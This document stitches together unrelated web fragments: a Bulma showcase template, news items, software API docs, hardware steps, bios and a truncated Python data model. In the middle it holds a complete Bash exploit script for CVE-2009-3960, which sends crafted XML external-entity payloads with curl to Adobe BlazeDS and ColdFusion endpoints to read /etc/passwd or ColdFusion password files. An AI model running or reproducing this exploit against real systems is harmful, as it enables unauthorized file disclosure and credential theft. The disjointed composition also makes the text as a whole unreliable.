{{ website.name }}
{{ website.date }}
--- fulltitle: "Expo: beautiful websites designed Bulma" share_title: "⭐ Bulma Expo: beautiful websites designed with Bulma 😍" share_image: "/images/expo/bulma-expo-share.png" share_description: "Get inspired! The Bulma Expo is a curated collection of the most beautiful websites designed with Bulma. It showcases how you can easily customize Bulma for your own personal or business needs." layout: default route: expo other: - name: Apache BookKeeper url: https://lucperkins.github.io/bookkeeper/ date: "26 Jul 2017" - name: vybranthotels url: http://vybranthotels.com/ date: "28 Dec 2017" - name: favicon url: https://favicon.io/ date: "16 Jan 2017" websites: - name: zea url: http://www.zea.space/ date: "2 Jan 2018" highlighted: true - name: pollygot url: https://pollygot.com/ date: "23 Dec 2017" - name: reportz url: https://reportz.io/ date: "9 Jan 2018" - name: mynameismirko url: http://2k17.mynameismirko.it/ date: "25 Dec 2017" highlighted: true - name: anyshortcut url: https://anyshortcut.com/ date: "14 Dec 2017" - name: ysimplicity url: https://ysimplicity.com/ date: "11 Oct 2017" - name: bongoutindonesia url: https://bongoutindonesia.com/ date: "1 Oct 2017" - name: uploadme url: https://uploadme.ai/ date: "24 Sep 2017" - name: Gustav url: https://hellogustav.com/ date: "29 Aug 2017" highlighted: true - name: Penmob url: https://www.penmob.com/ date: "23 Aug 2017" - name: Brújula Turística url: https://www.brujulaturistica.com/ date: "3 Aug 2017" - name: LottieFiles url: https://www.lottiefiles.com/ date: "1 Aug 2017" - name: Smileonthetiles url: https://smileonthetiles.co.uk/ date: "1 Aug 2017" - name: Sketch for Designrs url: http://sketch.fordesignrs.com/ date: "22 Aug 2017" highlighted: true - name: Bashful Birdie url: http://www.bashfulbirdie.com/ date: "24 Jul 2017" - name: Bugcraft Studio url: https://noggaholic.github.io date: "24 Jul 2017" - name: Booknshelf url: https://booknshelf.com/ date: "20 Jul 2017" - name: MD5 url: https://desforets.github.io/md5/ date: "24 Jun 2017" - name: Driftrock url: https://www.driftrock.com/ date: "13 Jul 2017" highlighted: true - name: Jubiwee url: https://www.jubiwee.com/fr/ date: "24 Jun 2017" - name: Pragonauts url: http://pragonauts.com/ date: "23 Jun 2017" - name: Kappamon url: https://kappamon.com/ date: "23 Jun 2017" - name: Elevo url: http://www.elevo.fr/ date: "23 Jun 2017" - name: Oneday url: https://www.oneday.design/ date: "8 Dec 2016" highlighted: true - name: Buefy url: https://buefy.github.io/ date: "10 Apr 2017" - name: Alt Three url: https://alt-three.com/ date: "31 Mar 2016" --- {% capture embrace_expo %}
Did you design a gorgeous website with Bulma too? Tell us about it! 🤗
How people used Bulma to design beautiful websites 😍
{{ website.date }}


Bars in Quebec town to give free non-alcoholic drinks to designated drivers
LAVAL, Que. - Police in Laval, Que., are fighting impaired driving by teaming up with 24 bars in the city to offer free non-alcoholic drinks to designated drivers.
The initiative provides a driver — accompanied by at least two friends — with a bracelet upon their arrival at the bar allowing them to get free non-alcoholic drinks determined by the bar.
The drinks are served at the same rhythm as the alcoholic beverages.
Police in Laval, just north of Montreal, say their target group is people aged between 18 and 25, but the program will be available to all.
Participating bars received a kit including posters, bracelets and ink stamps to identify designated drivers.
The program, dubbed CoDeBars, began in Sherbrooke, Que. in 2017.
Laval police Chief Pierre Brochet says the program recognizes the important role of designated drivers and gives them the opportunity to celebrate while keeping roads safe.


From the human gut and oral cavity to terrestrial and marine ecosystems, we use our expertise in computer science and microbiology to study the evolution and ecology of naturally occurring microbial populations through integrated 'omics and wet lab strategies.
We strive to serve our community by creating advanced open-source software, by following open and reproducible science practices, and by engaging in public educational and outreach activities.
Located at the University of Chicago and affiliated with the Marine Biological Laboratory, we are constantly looking for collaborations that would challenge us with novel and intriguing questions.


| DiscreteWavelets Toolbox |
Cumulative Energy
y = CE(v)
y=CE(v) takes as input a matrix or vector v and returns the cumulative energy vector associated with v.
Create a vector and plot it and its cumulative energy:
x=0:.001:.999; %Sample points v=sin(2*pi*x); %Create a vector plot(v); %Plot the vector y=CE(v); %Compute the cumulative energy plot(y); %Plot the cumulative energy
results in
Now compute a wavelet transformation of v and plot it and its cumulative energy:
wt=WT1D1(v,Daub(6)); %Compute the wavelet tranformation of v WaveletVectorPlot(wt,1); %Plot the wavelet transformation w=CE(wt); %Compute the cumulative energy of wt plot(w): %Plot the cumulative energy
© 2007-2008 Patrick Van Fleet


| Metamath Proof Explorer Bibliographic Cross-References |
||
| Mirrors > Home > MPE Home > Bibliographic Cross-References |
| Color key: | Metamath Proof Explorer | Hilbert Space Explorer | User Mathboxes |
| Bibliographic Reference | Description | Metamath Proof Explorer Page(s) |
|---|


abstract fun partyFromName(name: CordaX500Name): Party?
Resolves a party name to the well-known identity Party instance for this name. Where possible well-known identity lookup by name should be done using MemberLookupService instead, as it is the authoritative source of well-known identities.
name
- The CordaX500Name to determine well known identity for.
Return
If known the canonical Party with that name, else null.


|
chessCAMO
|
This class describes the pieces on the board at any given moment. It contains functions for determining the piece's type, color, possible/legal moves, and more helpful utilities for making decisions regarding move candidates. More...
#include <chess.h>
Public Member Functions | |
| virtual | ~Piece () |
| Piece () | |
| Default constructor with default board parameter initialization - Constructs a new instance.  More... | |
| int | getPieceSquare () const |
| (Accessor) Gets the piece square information. More... | |
| void | setPieceSquare (int square) |
| (Mutator) Sets the piece square information. More... | |
| pieceType | getPieceType () const |
| (Accessor) Gets the piece type information. More... | |
| void | setPieceType (pieceType type) |
| (Mutator) Sets the piece type information. More... | |
| pieceColor | getPieceColor () const |
| (Accessor) Gets the piece color information. More... | |
| void | setPieceColor (pieceColor color) |
| (Mutator) Sets the piece color information. More... | |
| bool | getPieceMoveInfo () const |
| (Accessor) Gets the piece move information useful for pawns, rooks, kings. More... | |
| void | setPieceMoveInfo (bool moved) |
| (Mutator) Sets the piece move information. More... | |
| virtual bool | getEnPassantLeft () const |
| (Accessor) Gets the piece en-passant ability information for left side. More... | |
| virtual void | setEnPassantLeft (bool en_passant_left) |
| (Mutator) Sets the piece en-passant ability information for left side. More... | |
| virtual bool | getEnPassantRight () const |
| (Accessor) Gets the piece en-passant ability information for right side. More... | |
| virtual void | setEnPassantRight (bool en_passant_right) |
| (Mutator) Sets the piece en-passant ability information for right side. More... | |
| bool | isEmpty () |
| Determines if the square is empty. More... | |
| bool | isPawn () |
| Determines if the piece is a pawn. More... | |
| bool | isKnight () |
| Determines if the piece is a knight. More... | |
| bool | isBishop () |
| Determines if the piece is a bishop. More... | |
| bool | isRook () |
| Determines if the piece is a rook. More... | |
| bool | isQueen () |
| Determines if the piece is a queen. More... | |
| bool | isKing () |
| Determines if the piece is a king. More... | |
| bool | isPieceWhite () |
| Determines if the piece is white. More... | |
| bool | isPieceBlack () |
| Determines if the piece is black. More... | |
| bool | isSameColor (int dest, const Chess &chess) |
| Determines if 2 pieces have the same color. More... | |
| bool | isPinned (int dest, const Chess &chess) |
| Determines if a given piece is pinned to the king by opposing piece. More... | |
| bool | isPathFree (int dest, const Chess &chess) |
| Determines if the path from the piece to its destination is empty. More... | |
| bool | isLegalMove (int dest, Chess &chess) |
| Determines if a move is legal based on the rules of chess. More... | |
| bool | causeCheck (int dest, Chess &chess) |
| Did the move cause a check? More... | |
| bool | causeDoubleCheck (int dest, Chess &chess) |
| Did the move cause a double check? More... | |
| virtual bool | isPossibleMove (int dest, const Chess &chess) |
| Determine if the piece has a possible move towards the destination square. More... | |
| virtual void | enPassantHandling (int src, Chess &chess) |
| Pawn attacks opposing pawn with en-passant More... | |
| virtual void | promotePawn (Chess &chess, istream &in) |
| Promotes the pawn if needed. More... | |
| virtual bool | canCastle (int dest, const Chess &chess) |
| Can the king castle? More... | |
| virtual bool | movedIntoCheck (int dest, Chess &chess) |
| Did the king move into check? More... | |
Private Attributes | |
| int | square |
| bool | moved |
| pieceType | type |
| pieceColor | color |
This class describes the pieces on the board at any given moment. It contains functions for determining the piece's type, color, possible/legal moves, and more helpful utilities for making decisions regarding move candidates.
|
inlinevirtual |
|
inline |
Default constructor with default board parameter initialization - Constructs a new instance.
|
inline |
Constructs a new instance with valid piece information initialization.
| [in] | square | The square of the piece |
| [in] | type | The type of the piece |
| [in] | color | The color of the piece |
|
inline |
(Accessor) Gets the piece square information.
|
inline |
(Mutator) Sets the piece square information.
| [in] | square | The piece square information |
|
inline |
(Accessor) Gets the piece type information.
|
inline |
(Mutator) Sets the piece type information.
| [in] | type | The piece type information |
|
inline |
(Accessor) Gets the piece color information.
|
inline |
(Mutator) Sets the piece color information.
| [in] | color | The color information |
|
inline |
(Accessor) Gets the piece move information useful for pawns, rooks, kings.
|
inline |
(Mutator) Sets the piece move information.
| [in] | moved | Indicates if piece moved |
|
inlinevirtual |
(Accessor) Gets the piece en-passant ability information for left side.
Reimplemented in Pawn.
|
inlinevirtual |
(Mutator) Sets the piece en-passant ability information for left side.
| [in] | en_passant_left | The piece en-passant ability information in left direction |
Reimplemented in Pawn.
|
inlinevirtual |
(Accessor) Gets the piece en-passant ability information for right side.
Reimplemented in Pawn.
|
inlinevirtual |
(Mutator) Sets the piece en-passant ability information for right side.
| [in] | en_passant_right | The piece en-passant ability information in right direction |
Reimplemented in Pawn.
|
inline |
Determines if the square is empty.
|
inline |
Determines if the piece is a pawn.
|
inline |
Determines if the piece is a knight.
|
inline |
Determines if the piece is a bishop.
|
inline |
Determines if the piece is a rook.
|
inline |
Determines if the piece is a queen.
|
inline |
Determines if the piece is a king.
|
inline |
Determines if the piece is white.
|
inline |
Determines if the piece is black.
| bool Piece::isSameColor | ( | int | dest, |
| const Chess & | chess | ||
| ) |
Determines if 2 pieces have the same color.
| [in] | dest | The destination square of the piece |
| chess | The chess object |
| bool Piece::isPinned | ( | int | dest, |
| const Chess & | chess | ||
| ) |
Determines if a given piece is pinned to the king by opposing piece.
| [in] | dest | The destination square of the piece |
| chess | The chess object |
| bool Piece::isPathFree | ( | int | dest, |
| const Chess & | chess | ||
| ) |
Determines if the path from the piece to its destination is empty.
| [in] | dest | The destination square of the piece |
| chess | The chess object |
| bool Piece::isLegalMove | ( | int | dest, |
| Chess & | chess | ||
| ) |
Determines if a move is legal based on the rules of chess.
| [in] | dest | The destination square of the piece |
| chess | The chess object |
| bool Piece::causeCheck | ( | int | dest, |
| Chess & | chess | ||
| ) |
Did the move cause a check?
| [in] | dest | The destination square of the piece |
| chess | The chess object |
| bool Piece::causeDoubleCheck | ( | int | dest, |
| Chess & | chess | ||
| ) |
Did the move cause a double check?
| [in] | dest | The destination square of the piece |
| chess | The chess object |
|
inlinevirtual |
Determine if the piece has a possible move towards the destination square.
| [in] | dest | The destination square of the piece |
| chess | The chess object |
Reimplemented in King, Queen, Rook, Bishop, Knight, and Pawn.
|
inlinevirtual |
Pawn attacks opposing pawn with en-passant
| [in] | src | The source square of the piece |
| chess | The chess object |
Reimplemented in Pawn.
|
inlinevirtual |
|
inlinevirtual |
|
inlinevirtual |
Did the king move into check?
| [in] | dest | The destination square of the piece |
| chess | The chess object |
Reimplemented in King.
|
private |
position of the piece on the board [0, 63] -> [top left, bottom right]
|
private |
has the piece been moved yet?
|
private |
BLACK, NEUTRAL, OR WHITE


Solder Pin Headers¶
- Take the same breakaway header from the previous step and break off a 4-pin, 6-pin header, 2-pin and 7-pin header.
- Solder the 6-pin and 4-pin into positions U4 and U5 as shown in the image below. Solder with the shorter pin side facing up. These pin headers will be used to connect the OpenLog SD card data logger and Pololu 3V3 optional power regulator later in the instructions.
- Solder the 7-pin header into position U9 as shown in the image below. Solder with the shorter pin side facing up. This pin header will be used to connect the Adafruit temp/humidity sensor later in the instructions.
- Solder the 2-pin header into position P10. For this header, solder with the longer pin side facing up. This pin header can be used with a jumper to change the I2C address of the Adafruit temp/humidity sensor in the event of a conflict with an optional device on the UEXT header.


description
The first part of this half-day program focuses on fundamental causal questions, such as how to perform causal identification and estimate causal effects from observational data. In the second half of the program, we apply these causal concepts to the field of marketing science.
We utilize recent advances in Artificial Intelligence to generate a model of a high-dimensional problem domain, of which we have data available for sales, multiple advertising channels, competitive advertising, and seasonal variables. More specifically, we use BayesiaLab to machine-learn a bayesian network model from the available historical data. On the basis of the network, plus the causal identification criteria presented in the morning, we can analyze the nonlinear response of sales to the input of all marketing drivers.
This allows us to isolate the (mostly nonlinear) direct effects of each marketing driver. We can now proceed to marketing mix optimization and utilize BayesiaLab's genetic optimization algorithm. To conclude the seminar, we present an innovative method for estimating contributions and synergies with counterfactuals, which is conveniently implemented in BayesiaLab.


Warframe Info Centre Settings
General
Platform:
PC
PS4
Xbox One
Update interval (seconds):
Play sound.
Alarm
Cipher Fail
Ding
Energy Pickup
Incoming Transmission
It's time, Tenno
Drum Hit
Something's happening, Tenno
Tenno, you are needed
Transmission Received
Wake up, Tenno
Preview
Show notifications.
Consolidate notifications.
Enable experimental features.
Alerts
Show credit-only alerts.
Minimum credit amount:
Show blueprint alerts.
Show nightmare alerts.
Show resource alerts.


Select heuristic which will be used in CrossBee as the main ensemble heuristic.
{% for name in heuristics %}
{{ name }}
{% endfor %}
Construct new ensemble from the heuristics above


{% raw %}
The official URL for this profile is:
http://example.org/fhir/fish/StructureDefinition/veterinarian
A profile on the Practitioner resource for veterinarians. In the US, vets do not have National Provider Numbers.
This profile builds on USCorePractitionerProfile.
This profile was published on Mon Feb 03 11:53:45 AEDT 2020 as a active by null.
{% endraw %}


#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h <IP_ADDRESS> -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h <IP_ADDRESS> -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0


The US Index Options dataset provides TradeBar and QuoteBar objects.
TradeBar objects have the following attributes:
QuoteBar objects have the following attributes:


Born in South Korea and raised in Georgia, USA. Currently working at Retail Group Invesment as CEO since 2007. Retail Group Investment brings relentless drive for innovation and passion in personal wireless products.
Chris Kim is Cheif Executive and President of Retail Group Investment, LLC. Chris began his career at Retail Group Investment, LLC from 2007 with 5 Retail Locations and grew the company to over 50 Locations by 2020. Chris is responsible to oversee sales, marketing, and management. Under Chris's leadership, Retail Group Investment, LLC has exceed company's growth, revenue, and profitbity goals year over year. Chris has refine company's value and visions and sustaible growth on behalf of all statkeholders.
This app give current weather conditions and 5 days weather forcast according to your city search
Eat-Da-Burger! is a restaurant app that lets users input the names of burgers they'd like to eat and waiting to be devoured. Once they have try the burger, user can update the list and go to the next burger to devour.
The Holly Jolly Generator is to spread holiday cheer and joy in our communities during these difficult times, by creating an app that allows people to give gifts to less forutunate members of our communities, while saving time & physical resources.
A Comic Book Finder that is based off of a random number and some questions. A Character is generated from a pool based on the number that you give. Then you get a picture of the character. Next you get a little bio. Then you get the Comics and they are clickable to go to the Comic.


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Free Onepage Theme
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About Preston
Preston “Pesach” D. Neimeiser was born in Tallahassee, Florida the second son of two activists
dedicated to the American labor movement. The Neimeiser family joyfully celebrated many holidays
and
life-cycle events at Temple Israel of Tallahassee, Florida – where they remain members to this
day.
From a young age he was moved by the melodies of our people and captivated by our
stories.
After many summers spent at the URJ camp Coleman, he dove into the song leader track at the URJ
Kutz
camp in 2009. Following his studies during the Fall 2010 at Heller High (formally NFTY-EIE) in
Israel, his love for Jewish history and peoplehood continued to grow thanks to a rigorous and
experiential curriculum focused on Hebrew and Jewish History. Preston served on the boards of
his
youth group and regional NFTY and worked as a song leader throughout the years at synagogues and
Hillels as well as at Jewish summer camps. As one of the inaugural fellows of the Nachshon
project,
he studied at the Rothberg International School of the Hebrew University in Jerusalem and had
the
opportunity to develop relationships with some of Israel’s top movers and shakers. He returned
from
Israel and implemented a program focused on Israeli music and poetry for Jewish youth at camp;
and
organized an Israeli Film festival on campus before receiving his bachelor’s degree in
Psychology
with a minor in Hebrew from the Florida State University.
Following both his first and second years of rabbinical school, Preston worked as an educator
for
NFTY in Israel sharing his love of Israel with teens from across North America. He encouraged
them
to take an active role in grappling with Israel to deepen their connections to their people. He
served as a rabbinic intern at Kol HaNeshama in Jerusalem and as an educator and youth
professional
at Temples Emmanuel and Shaaray Tefila in New York City and Temple Beth-El of Great Neck. As a
fellow of the JOIN for Justice seminary fellowship, he learned the tactics of grassroots
organizing
and partnered with the organization OneTable to host interfaith Shabbat dinners for aspiring
clergy
across faiths and denominations. Through the 92nd Street Y Innovation fellowship he endeavored
to
deepen his understanding of how effective institutional change is made and received mentorship
from
leading innovators in the Jewish world. He also deepened his learning with the Shalom Hartman
Institute and ARZA as a rabbinical student fellow and served as the rabbinic intern at the home
of
Positive Judaism, Tamid: The Downtown Synagogue, for two years. Now a 5th-year Rabbinical
student at
HUC-JIR in New York with monthly pulpit responsibilities in High Point, NC and a multi-faith
organizer with the New Sanctuary Coalition he is an aspiring community builder with a passion
and
commitment to justice and the Jewish people anticipating his ordination in May 2021.


Titanium in the form of alloys is the most important structural material in aircraft and rocket construction, shipbuilding.


Jurgen Klopp reveals why Liverpool struggled against Crystal Palace
Jurgen Klopp says Liverpool struggled against Crystal Palace as they weren’t compact enough following his side’s narrow 2-1 win.
Sadio Mane gave the league leaders the lead early in the second half before Wilfried Zaha equalised for Crystal Palace. A late penalty from Roberto Firmino though was enough to give Liverpool all three points.
“They [Crystal Palace] worked hard, I can only imagine what Roy Hodgson is feeling like because they would have deserved a point today. But we won the game and it was deserved today as well,” Klopp said after the match.
“We weren’t compact enough. Our distances between the full-backs and midfielders were too big. The set pieces were really dangerous and gave them the time to go there.
“It was a tough job to do today and at the end of the day I am happy with the result and big parts of the performances as well.”
It could’ve easily been a different result for Liverpool, with James Tomkins’s initial equaliser for Palace being harshly ruled out by VAR for a foul on Dejan Lovren.
“I’m not surprised at all that it was tough,” Klopp added.
“We knew at half time that we had to do better. We said we just have to make sure you are ready to fight right from the very start.
Getting a result at Crystal Palace, we will never take it for granted.”


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[docs]class Volume(data_model.DataObject):
"""
Volumes Info is an object containing information about a volume.
The return objects only include \"configured\" information about the volume
and not runtime or usage information.
Information about paired volumes will also be returned.
:param volume_id: [required] Unique *volume_id* for the volume.
:type volume_id: int
:param name: [required] Name of the volume as provided at creation time.
:type name: str
:param account_id: [required] Unique *account_id* for the account.
:type account_id: int
:param create_time: [required] UTC formatted time the volume was created.
:type create_time: str
:param status: [required] Current status of the volume init: A volume that
is being initialized and is not ready for connections. active: An
active volume ready for connections.
:type status: str
:param access: [required] Access allowed for the volume
**readOnly**: Only read operations are allowed.
**readWrite**: Reads and writes are allowed.
**locked**: No reads or writes are allowed.
**replicationTarget**: Designated as a target volume in a replicated
volume pair.
:type access: str
:param enable512e: [required] If \"true\", the volume provides 512 byte
sector emulation.
:type enable512e: bool
:param iqn: [required] Volume iSCSI Qualified Name.
:type iqn: str
:param scsi_euidevice_id: [required] Globally unique SCSI device identifier
for the volume in EUI-64 based 16-byte format.
:type scsi_euidevice_id: str
:param scsi_naadevice_id: [required] Globally unique SCSI device identifier
for the volume in NAA IEEE Registered Extended format.
:type scsi_naadevice_id: str
:param qos: [required] Quality of service settings for this volume.
:type qos: VolumeQOS
:param volume_access_groups: [required] List of volume access groups to
which a volume belongs.
:type volume_access_groups: int[]
:param volume_pairs: [required] Information about a paired volume.
Available only if a volume is paired. @see *volume_pairs* for return
values.
:type volume_pairs: VolumePair[]
:param slice_count: [required] The number of slices backing this volume. In
the current software, this value will always be 1.
:type slice_count: int
:param total_size: [required] Total size of this volume in bytes.
:type total_size: int
:param block_size: [required] Size of the blocks on the volume.
:type block_size: int
:param virtual_volume_id: [required] Virtual volume ID this volume backs.
:type virtual_volume_id: UUID
:param attributes: [required] List of Name/Value pairs in JSON object
format.
:type attributes: dict
:param delete_time: (optional) The time this volume was deleted. If this
has no value, the volume has not yet been deleted.
:type delete_time: str
:param purge_time: (optional) The time this volume will be purged from the
system. If this has no value, the volume has not yet been deleted (and
is not scheduled for purging).
:type purge_time: str
"""
volume_id = data_model.property(
"volumeID", int,
array=False, optional=False,
documentation="\
Unique *volume_id* for the volume.\
"
)
name = data_model.property(
"name", str,
array=False, optional=False,
documentation="\
Name of the volume as provided at creation time.\
"
)
account_id = data_model.property(
"accountID", int,
array=False, optional=False,
documentation="\
Unique *account_id* for the account.\
"
)
create_time = data_model.property(
"createTime", str,
array=False, optional=False,
documentation="\
UTC formatted time the volume was created.\
"
)
status = data_model.property(
"status", str,
array=False, optional=False,
documentation="\
Current status of the volume\
init: A volume that is being initialized and is not ready for\
connections.\
active: An active volume ready for connections.\
"
)
access = data_model.property(
"access", str,
array=False, optional=False,
documentation="\
Access allowed for the volume\
\
\
**readOnly**: Only read operations are allowed.\
\
\
\
**readWrite**: Reads and writes are allowed.\
\
\
\
**locked**: No reads or writes are allowed.\
\
\
\
**replicationTarget**: Designated as a target volume in a\
replicated volume pair.\
\
"
)
enable512e = data_model.property(
"enable512e", bool,
array=False, optional=False,
documentation="\
If \"true\", the volume provides 512 byte sector emulation.\
"
)
iqn = data_model.property(
"iqn", str,
array=False, optional=False,
documentation="\
Volume iSCSI Qualified Name.\
"
)
scsi_euidevice_id = data_model.property(
"scsiEUIDeviceID", str,
array=False, optional=False,
documentation="\
Globally unique SCSI device identifier for the volume in EUI-64 based\
16-byte format.\
"
)
scsi_naadevice_id = data_model.property(
"scsiNAADeviceID", str,
array=False, optional=False,
documentation="\
Globally unique SCSI device identifier for the volume in NAA IEEE\
Registered Extended format.\
"
)
qos = data_model.property(
"qos", VolumeQOS,
array=False, optional=False,
documentation="\
Quality of service settings for this volume.\
"
)
volume_access_groups = data_model.property(
